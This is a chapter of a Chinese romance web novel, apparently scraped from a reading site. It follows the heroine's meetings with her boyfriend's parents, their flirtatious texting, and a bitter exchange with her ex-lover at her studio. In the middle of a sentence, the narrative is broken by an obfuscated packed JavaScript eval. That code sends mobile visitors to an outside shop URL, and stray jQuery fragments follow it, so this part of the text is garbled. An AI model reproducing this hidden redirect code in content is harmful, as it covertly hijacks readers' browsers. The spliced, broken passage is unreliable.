48. 故意

作品:《crush了闺蜜弟弟后

    季野是在大三寒假的春节领徐诗柚回的家。


    徐诗柚并没有第一次家长的紧张和局促,作为季薇十几年的好友,她早跟季董打过无数次交道了,从还是个小豆丁开始,她就认识了这位商场上叱咤风云的人物,跟着薇薇一起,还蹭过不少次这位大人物请的饭,说季董是看着她长大的都不为过。


    甚至她在京市那几年,季董也给过她不少关照,偶尔闲暇还会喊她出来吃饭,借她的口,关心下她那不着家也不恋家的女儿的情况。


    加上两人刚一起时季野就把她的照片挂了朋友圈,后来朋友圈更是被她的照片占满,还是全开放无分组屏蔽的那种,季董想不知道两人的情况都难。


    后来季董也喊她出来吃过饭,问过她和季野的事,两人倒是不生疏,就是都挺尴尬的。


    这种尴尬在于,自己突然从对方女儿的好友,变成了对方儿子的女朋友,甚而可能变成儿媳妇……两人一时都没能适应这样的身份转变,吃饭的时候反倒没有以前自然。


    “你和小野……”叔叔总是欲言又止,大概是想知道她和季野是怎么鬼混到一起去的,但每次总是开了个头,就没了下文,最后也只是摇摇头,不了了之。


    面对他这样的欲言又止,徐诗柚是有些虚的,偶尔也会想季董是不是想要反对。


    毕竟,季董是曾经看出过她和秦聿之间有点什么的,甚至委婉提醒过她,说,秦家那小子性子凉薄,不管是恋爱还是结婚,对她都不是合适的人选。


    她那会初出社会,又第一次遇见秦聿那样惊艳的人,完全是恋爱脑的状态,自然谁的话都听不进去,现在想想,长辈的话,还是要听的,尤其是像季董这种在商场摸爬打滚多年,深谙人心的。


    徐诗柚不知道季董对她和秦聿的事了解多少,但总归没有对她表现出一点和从前不同的态度,也没有因为她成了儿子的女朋友,就对她有什么看法或要求,照样和以前一样,只把她当成和季薇一样的小女孩看待。


    季野的母亲,徐诗柚倒是第一次见。


    是一眼就让人惊艳的类型,完全一副江南美人的相貌姿态,性格比较沉静,话不多,但说话很让人舒服,也难怪后来薇薇愿意放下成见接受这个继母了,对方确实有这样的魅力。


    也是这时候,徐诗柚才发现,季野其实是更像母亲的,对方笑起来的时候,同样有两个浅浅的梨涡。


    叔叔对她知根知底,阿姨对儿子的女朋友也没什么要求,似乎只要季野喜欢就好。


    父母这一关,徐诗柚可以说过得毫无压力,感觉人生好像突然开挂了一样,事事遂心。


    至于徐诗柚父母这边,周敏早在去年春节就对两人的关系有所准备,虽然她不太赞同女儿找比自己小的,但对方是季野,周敏倒是接受得挺容易。


    不知道是不是对季薇的滤镜,周敏也天然对季野带了层滤镜,两边父母的关都过得很容易。


    他们之间唯一的阻碍,就是那该死的异地恋。


    季野大三后不仅课多,作业更是又多又杂,尽管如此,两人每天都还是要抽出点时间来保持联系。


    这是他们约定好的,哪怕再忙,每天也要听下对方的声音,哪怕只是说句晚安,可以吵架,但不能冷战,生气不能隔夜,有问题及时解决,更不能因为生气而挂电话,不接电话,拉黑等。


    不过他们基本没什么值得争吵的事,就算有,季野也每次都滑跪得很快,根本不给她生气的机会,所以打电话更多的时候都是徐诗柚惯常地在调戏弟弟。


    季野最近有在刻意锻炼,因为上次见面的时候,她无意说了句,感觉他的胸肌和腹肌好像越来越明显了,手感这么好,问他是不是有在锻炼。


    他是因为大三后学业繁忙,运动量减少,敏感察觉到肌肉含量的骤减,怕被嫌弃,所以自己有在刻意保持运动量,可能因此练结实了些,没想到成果不错,还得到了赞扬,于是更勤奋锻炼了。


    这天晚上也是,徐诗柚下班回家,在路上和他发微信,他说自己在锻炼,等会再回她。


    等到她洗完澡出来,他才堪堪结束了锻炼。


    徐诗柚迫不及待地:“快,发张照片我瞧瞧!”


    听说锻炼后充血状态下的肌肉轮廓会特别明显,想想就兴奋。


    那边很听话,对着镜子发来了张锻炼过后的照片,他穿着短袖,袖子被挽到肩上,露出两只轮廓鼓胀分明的臂膀。


    季野还特别知道她喜欢看什么样的,衣服用嘴咬住叼起,八块腹肌就这么大喇喇地展示在她跟前,块垒分明,上面沾染的汗珠顺着沟壑滑下。


    徐诗柚盯住那张照片,眯了眯眼。


    季野今天穿的是一条灰色运动裤,都说灰色运动裤是男人的黑丝,很顶。


    黑不黑丝的徐诗柚不清楚,但顶是真的顶。


    腹肌对她的吸引力不过一秒,她很快便被别的吸引了注意力,彻底化身成了“叮当猫”。


    松软的裤子下,那鼓鼓囊囊的一坨格外明显,徐诗柚轻咬向下唇,忿忿敲字:“心机狗,你故意的吧?”


    那边火速发来个害羞的表情:“姐姐在说什么?我听不懂。”


    “我看秦聿骂你骂得没错,心机深沉!”


    季野:“……”


    那边不知道被哪个字踩到尾巴了,不高兴了。


    下一秒,照片被撤回,徐诗柚天都塌了!


    “看来姐姐不喜欢,那我下次不发了!”


    !!!


    不仅心机,还绿茶!


    -


    徐诗柚开店一年的时候,秦聿来过店里几次。


    托了季薇的福,她这店开在商圈还算繁华的地方,但凡繁华的地方,总归是容易被熟人撞见的。


    秦聿知道她在这开了间工作室后,很是稀奇,偶尔闲着无聊溜达到这边,就会过来她这坐上一坐。


    或是捏着她做的小玩意在手上把玩,看了又看,或是在她给学员上课的时候,坐在外面透过玻璃窗安静地看她上课的样子。


    也不多聊什么,也不会找她吃饭,就是坐上一会就走。


    偶尔也会聊上几句无关紧要的,让徐诗柚都要幻视他是那种在大城市生活得喘不过气来,需要找个地方放空充电的忙碌都市人。


    如果不是了解他的底细,徐诗柚真会这么认为。


    她想,他是觉得稀奇吧,从前他不屑她做这些玩意,并嘲她幼稚,不务正业,大约也没想到有一天她还真靠自己这捏泥巴的手艺养活了自己,打脸来得太快。


    当然,徐诗柚也知道自己能发展到这步,运气成分占了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152399|191512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不少,倒也没故意去打他的脸。


    “你怎么样又来了?”


    门口的风铃声叮铃作响,一抬头,又是那道熟悉的身影。


    听她不耐的语气,对方挑挑眉:“怎么,做不成情人,连朋友都不能做了?还是你那小男友小气到连你的一个异性朋友都容纳不得?”


    语气还是那一贯锋利的腔调:“你这么大个门面在街上不就是让人进来看的,我怎么就不能来了?还是你这店写着不让我进了?”


    徐诗柚正下笔给作品描摹的手停了下,没好气地睨了他一眼:“我等会就在那挂个牌,写上‘秦聿与狗,不得入内’”。


    秦聿乐了:“你都要把我名字刻店面上了,还这么招摇地挂门上,生怕人不知道啊,这就不怕你那小男友吃醋了?”


    “……”


    “就他那看我一眼都恨不得掐死的劲,得醋死吧?”


    “……”说不过他。


    徐诗柚懒得搭理他,秦聿却少有地和她聊起了两人以前认识的一些共同好友的事。说是共同好友,其实也就是以前工作时,和她关系还算不错的一些同事或者合作对象罢了。


    说从前嘴上总叫嚷着自己不婚主义的苏瑶闪婚了,说情场浪子的钟宇突然收了心追一个姑娘快一年了,说Ella二胎的孩子都快要出生了……


    听着这些,徐诗柚颇有些唏嘘,她辞职后就和这些人基本断联了,这会再听见他们的消息,不免多了几分怅然,又像在听陌生人的故事。


    她不知道秦聿怎么会突然对她说起这些,是不是他自己内心也有几分怅然又无处诉说,她也没问。


    只隐约觉得这么下去不是个事,所以在他临走前,她故意提到:“说起来,还得感谢你呢,我能租下这门面,其实还多亏了你当初送我的那些包……我把你当年送我的包都卖了,可折了不少现钱。”


    他转过身来看她。


    她却低头捣鼓着手上的东西,不看他,只当做随口闲聊:“毕竟你对我这工作室贡献挺大的,我想着怎么着也该和你说声,不过你可别指望我把钱吐出来了……”


    说到这,她顿了下,随即扬起点唇角,玩笑般道出:“毕竟这钱,好歹是我卖身换的。”


    秦聿听明白了,黑沉的眸色微动,声音没了刚才闲聊时的松弛,些许冷然:“你有必要把话说得这么难听吗?”


    徐诗柚停下了手上的工作,微笑,轻声:“要的,不然我怕你不清楚我们的关系,更怕有人说——”


    “我惨过做……”


    “徐诗柚!”再说下去就太难听了,他打断了她,眼底是压不住的怒意。


    “在你眼里,我们的这段关系…有这么难堪吗?”


    徐诗柚缓缓抬睫,迎上他漆黑的眸,里头是少有的情绪翻涌,不止有怒,她似乎还从中看出了几分受伤,破碎,委屈……


    委屈?


    不大可能吧,他可是秦聿诶。


    但对上他这样的眼神,更难听的话卡在喉咙里却再也说不出去了。


    罢了,伤敌一千自损八百的事。


    她叹了声,不再多说:“……也没什么区别,你懂就好。”


    最后他是怎么走的,徐诗柚不记得了,总归是不欢而散的。


    她想,他应该不会再来了。